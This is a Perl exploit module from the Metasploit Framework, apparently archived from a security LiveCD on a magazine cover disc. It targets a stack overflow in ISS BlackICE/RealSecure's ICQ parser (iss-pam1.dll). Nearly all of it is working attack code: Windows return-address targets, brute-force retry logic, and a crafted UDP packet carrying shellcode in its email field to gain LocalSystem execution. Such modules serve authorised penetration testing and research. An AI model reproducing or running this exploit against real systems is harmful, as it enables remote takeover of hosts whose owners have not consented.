home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / blackice_pam_icq.pm < prev    next >
Text File  |  2006-06-30  |  9KB  |  339 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::blackice_pam_icq;
  11. use base 'Msf::Exploit';
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = 
  16. {
  17.     'BruteWait'       => [5, 'Time to sleep between attempts, gives the SEH a chance to recover.'],
  18.     'AdvancedTargets' => [0, 'You should never really need this, just figured why not. This won\'t work with brute forcing either.'],
  19.   };
  20.  
  21. my $info =
  22.   {
  23.     'Name'    => 'ISS PAM.dll ICQ Parser Buffer Overflow',
  24.     'Version' => '$Revision: 1.33 $',
  25.     'Authors' =>
  26.       [
  27.         'spoonm <ninjatools [at] hush.com>',
  28.       ],
  29.  
  30.     'Description'  => Pex::Text::Freeform(qq{
  31.     This module exploits a stack overflow in the ISS products that use
  32.     the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation
  33.     will result in arbitrary code execution as LocalSystem. This exploit 
  34.     only requires 1 UDP packet, which can be both spoofed and sent to a broadcast
  35.     address.
  36.  
  37.     The ISS exception handler will recover the process after each overflow, giving
  38.     us the ability to bruteforce the service and exploit it multiple times.
  39.  
  40.     Warning: Command execution payloads do not seem working, this includes win32_adduser.
  41. }),
  42.  
  43.     'Arch'  => [ 'x86' ],
  44.     'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003', 'winnt'],
  45.     'Priv'  => 1,
  46.  
  47.     'UserOpts'  =>
  48.       {
  49.         'RHOST' => [1, 'ADDR', 'The target address'],
  50.         'RPORT' => [1, 'PORT', 'The target port (1 for random)', 1],
  51.       },
  52.  
  53.     'Payload' =>
  54.       {
  55.         'Space'  => 504 - 31 - 4,
  56.         'BadChars'  => "\x00",
  57.         'MinNops' => 0,
  58.         'MaxNops' => 0,
  59.         'Prepend' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
  60.         'Keys' => ['+ws2ord'],
  61.       },
  62.  
  63.     'Refs'  =>
  64.       [
  65.         ['OSVDB', '4355'],
  66.         ['URL',   'http://www.eeye.com/html/Research/Advisories/AD20040318.html'],
  67.         ['URL',   'http://xforce.iss.net/xforce/alerts/id/166'],
  68.         ['MIL',   '13'],
  69.       ],
  70.  
  71.     'DefaultTarget' => -1, # it defaults to this, but set anyway
  72.     'Targets' =>
  73.       [
  74.         [1, 'Bruteforce All', 3 .. 9],
  75.         [1, 'Bruteforce iss-pam1.dll', 3 .. 4],
  76.         [1, 'Bruteforce NT 4.0', 8 .. 9],
  77.         [1, 'iss-pam1.dll 3.6.06', 0x5e0a473f],
  78.         [1, 'iss-pam1.dll 3.6.11', 0x5e0da1db],
  79.  
  80.         [1, 'WinXP SP0 - SP1', 0x71aa3a4b], # ws2help.dll
  81.  
  82.         [1, 'Win2003 SP0', 0x71bf3cc9], # ws2help.dll
  83.  
  84.         # ey4s rocks, thanks for the ret man!
  85.         [1, 'Win2000 SP0 - SP4', 0x750231e2], # ws2help.dll
  86.  
  87.         [1, 'WinNT SP3 / WinNT SP5 / WinNT SP6', 0x777e79ab], # samlib.dll
  88.         [1, 'WinNT SP4 / WinNT SP5', 0x7733b8db], # cfgmgr32.dll
  89.  
  90.         # I love opcode db.
  91.  
  92.         [0, 'WinXP SP0 / WinXP SP1 - shell32.dll', 0x776606af], # shell32.dll
  93.         [0, 'WinXP SP0 / WinXP SP1 - atl.dll', 0x76b305a7], # atl.dll
  94.         [0, 'WinXP SP0 / WinXP SP1 - atl.dll', 0x76e61a21], # activeds.dll
  95.         [0, 'WinXP SP0 / WinXP SP1 - ws2_32.dll', 0x71ab7bfb], # ws2_32.dll
  96.         [0, 'WinXP SP0 / WinXP SP1 - mswsock.dll', 0x71a5403d], # mswsock.dll
  97.  
  98.         [0, 'Win2000 SP2 / Win2000 SP3 - samlib.dll', 0x75159da3], # samlib.dll
  99.         [0, 'Win2000 SP0 / Win2000 SP1 - activeds.dll', 0x773d0beb], # activeds.dll
  100.  
  101.         [0, 'WinNT SP5 / WinNT SP6 - advapi32.dll', 0x77dcd1cb], # advapi32.dll
  102.         [0, 'WinNT SP3 / WinNT SP5 / WinNT SP6 - shell32.dll', 0x77cec080], # shell32.dll
  103.         [0, 'WinNT SP5 / WinNT SP6 - mswsock.dll', 0x7767ebca], # mswsock.dll
  104.       ],
  105.  
  106.     'Keys' => ['blackice'],
  107.  
  108.     'DisclosureDate' => 'Mar 18 2004',
  109.     
  110.   };
  111.  
  112. # Override to do our advanced target foo
  113. sub Targets {
  114.     my $self = shift;
  115.     my $targets = $self->SUPER::Targets;
  116.     my $newTargets = [ ];
  117.     my $advanced = !$self->GetLocal('AdvancedTargets') == 1;
  118.  
  119.     foreach my $target (@{$targets}) {
  120.         if($target->[0] >= $advanced) {
  121.             my @target = @{$target};
  122.             shift(@target);
  123.             push(@{$newTargets}, \@target);
  124.         }
  125.     }
  126.     return($newTargets);
  127. }
  128.  
  129. sub new {
  130.     my $class = shift;
  131.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  132.     return($self);
  133. }
  134.  
  135. sub Exploit {
  136.     my $self = shift;
  137.     my $targetHost  = $self->GetVar('RHOST');
  138.     my $targetIndex = $self->GetVar('TARGET');
  139.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  140.  
  141.     # Pad shellcode to size
  142.     $shellcode .= Pex::Text::EnglishText($self->PayloadSpace - length($shellcode));
  143.  
  144.     my $target = $self->Targets->[$targetIndex];
  145.  
  146.     $self->PrintLine;
  147.     $self->PrintLine('[*] !!! Note: The connection will not close after shellcode is finished');
  148.     $self->PrintLine('              (atleast when using SEH).  This is because the SEH handler');
  149.     $self->PrintLine('              recovers after bad exceptions (good for us).');
  150.     $self->PrintLine;
  151.  
  152.     my @targets;
  153.  
  154.     if(@{$target} == 2) {
  155.         @targets = ($targetIndex);
  156.     }
  157.     else {
  158.         @targets = @{$target};
  159.         my $name = shift(@targets);
  160.         $self->PrintLine('[*] Trying Multiple Targets - ' . $name);
  161.     }
  162.  
  163.     foreach $targetIndex (@targets) {
  164.         my $target = $self->Targets->[$targetIndex];
  165.         my $addr = $target->[1];
  166.  
  167.         $self->PrintLine(sprintf('[*] Trying %s - 0x%08x', $target->[0], $addr));
  168.  
  169.         my $port = $self->_targetPort;
  170.         my $sock = Msf::Socket::Udp->new
  171.           (
  172.             'PeerAddr'  => $targetHost,
  173.             'PeerPort'  => $port,
  174.             'LocalPort' => 4000,
  175.           );
  176.         if ($sock->IsError) {
  177.             $self->PrintLine('[*] Error creating socket: ' . $sock->GetError);
  178.             return;
  179.         }
  180.  
  181. # http://www.cs.berkeley.edu/~mikechen/im/protocols/icq/icqv5.html
  182. # ISS's parser disagrees with both the above protocol and ethereal's disector
  183.  
  184. # God I'm so sick of this exploit by now, heh.
  185. # ISS's parser seems totally broked, so this protocol is a fudge of the real one.
  186.  
  187.         my $header = Pex::Struct->new(
  188.             [
  189.                 'version'   => 'l_u_16',
  190.                 'unknown0'  => 'u_8',
  191.                 'sessionId' => 'l_u_32',
  192.                 'command'   => 'l_u_16',
  193.                 'seqnum1'   => 'l_u_16',
  194.                 'seqnum2'   => 'l_u_16',
  195.                 'uin'       => 'l_u_32',
  196.                 'checkcode' => 'l_u_32',
  197.             ]
  198.           );
  199.  
  200.         $header->Set(
  201.             'version'   => 5,
  202.             'unknown0'  => 0,
  203.             'sessionId' => 0,
  204.             'command'   => 530, # SRV_MULTI
  205.             'seqnum1'   => 0,
  206.             'seqnum2'   => 0,
  207.             'uin'       => 1161044754,
  208.  
  209.             #      'uin'       => 0,
  210.             'checkcode' => 0,
  211.           );
  212.  
  213.         # Packet 1 USER_ONLINE
  214.         my $userOnline = Pex::Struct->new(
  215.             [
  216.                 'header'    => 'struct',
  217.                 'uinOnline' => 'l_u_32',
  218.                 'ip'        => 'l_u_32',
  219.                 'port'      => 'l_u_32',
  220.                 'realIp'    => 'l_u_32',
  221.                 'unknown1'  => 'u_8',
  222.                 'status'    => 'l_u_32',
  223.                 'unknown2'  => 'l_u_32',
  224.             ],
  225.           );
  226.  
  227.         my $headerOnline = $header->copy;
  228.         $headerOnline->Set('command', 110); # SRV_USER_ONLINE
  229.  
  230.         $userOnline->Set(
  231.             'header' => $headerOnline,
  232.             'uinOnline' => 1161044754,
  233.             'ip'        => 1,
  234.             'port'      => 0,
  235.             'realIp'    => 0,
  236.             'unknown1'  => 0,
  237.             'status'    => 0,
  238.             'unknown2'  => 0,
  239.           );
  240.  
  241.         # Packet 2 META_USER
  242.         my $metaUser = Pex::Struct->new(
  243.             [
  244.                 'header'          => 'struct',
  245.                 'subcommand'      => 'l_u_16',
  246.                 'success'         => 'u_8',
  247.                 'nickLength'      => 'l_u_16',
  248.                 'nick'            => 'string',
  249.                 'firstNameLength' => 'l_u_16',
  250.                 'firstName'       => 'string',
  251.                 'lastNameLength'  => 'l_u_16',
  252.                 'lastName'        => 'string',
  253.                 'emailLength'     => 'l_u_16',
  254.                 'email'           => 'string',
  255.                 'authorize'       => 'u_8',
  256.                 'unknown1'        => 'l_u_16',
  257.                 'unknown2'        => 'l_u_32',
  258.             ],
  259.           );
  260.  
  261.         my $headerMeta = $header->copy;
  262.         $headerMeta->Set('command', 990); # SRV_META_USER
  263.         $headerMeta->Set('uin', 2018915346);
  264.  
  265.         # Evilness
  266.  
  267.         my $nick = '';
  268.         my $firstName = '';
  269.         my $lastName = '';
  270.  
  271.         #    my $email = 'A' x 19;
  272.         my $email = Pex::Text::EnglishText(19);
  273.         $email .= pack('V', $addr);
  274.         $email .= $shellcode;
  275.  
  276.         $metaUser->SetSizeField(
  277.             'nick'      => 'nickLength',
  278.             'firstName' => 'firstNameLength',
  279.             'lastName'  => 'lastNameLength',
  280.             'email'     => 'emailLength',
  281.           );
  282.  
  283.         $metaUser->Set(
  284.             'header'          => $headerMeta,
  285.             'subcommand'      => 0, # META_USER_FOUND (Should be 410, iss, wtf?)
  286.             'success'         => 10, # Success
  287.             'nick'            => $nick,
  288.             'firstName'       => $firstName,
  289.             'lastName'        => $lastName,
  290.             'email'           => $email,
  291.             'authorize'       => 0, # don't ask permission (docs and ethereal conflict)
  292.             'unknown1'        => 0,
  293.             'unknown2'        => 0,
  294.           );
  295.  
  296.         my $multi = Pex::Struct->new(
  297.             [
  298.                 'header'        => 'struct',
  299.                 'numPackets'    => 'u_8',
  300.                 'packet1Length' => 'l_u_16',
  301.                 'packet1'       => 'struct',
  302.                 'packet2Length' => 'l_u_16',
  303.                 'packet2'       => 'struct',
  304.             ],
  305.           );
  306.  
  307.         $multi->Set(
  308.             'packet2Length' => length($metaUser),
  309.           );
  310.  
  311.         $multi->Set(
  312.             'header'     => $header,
  313.             'numPackets' => 2,
  314.             'packet1Length' => $userOnline->Length,
  315.             'packet1'       => $userOnline,
  316.             'packet2Length' => $metaUser->Length,
  317.             'packet2'       => $metaUser,
  318.           );
  319.  
  320.         my $request = $multi->Fetch;
  321.  
  322.         $self->PrintLine('[*] Sending UDP Request (Dest Port: ' . $port . ') (' . length($request) . ' bytes)');
  323.  
  324.         $sock->Send($request);
  325.  
  326.         $self->PrintLine('[*] Sleeping (giving exception handle time to recover).');
  327.         sleep($self->GetLocal('BruteWait'));
  328.     }
  329.  
  330. }
  331.  
  332. sub _targetPort {
  333.     my $self = shift;
  334.     my $targetPort  = $self->GetVar('RPORT');
  335.     return($targetPort) if($targetPort != 1);
  336.     return(int(rand(65536 - 2000)) + 2000);
  337. }
  338.  
  339.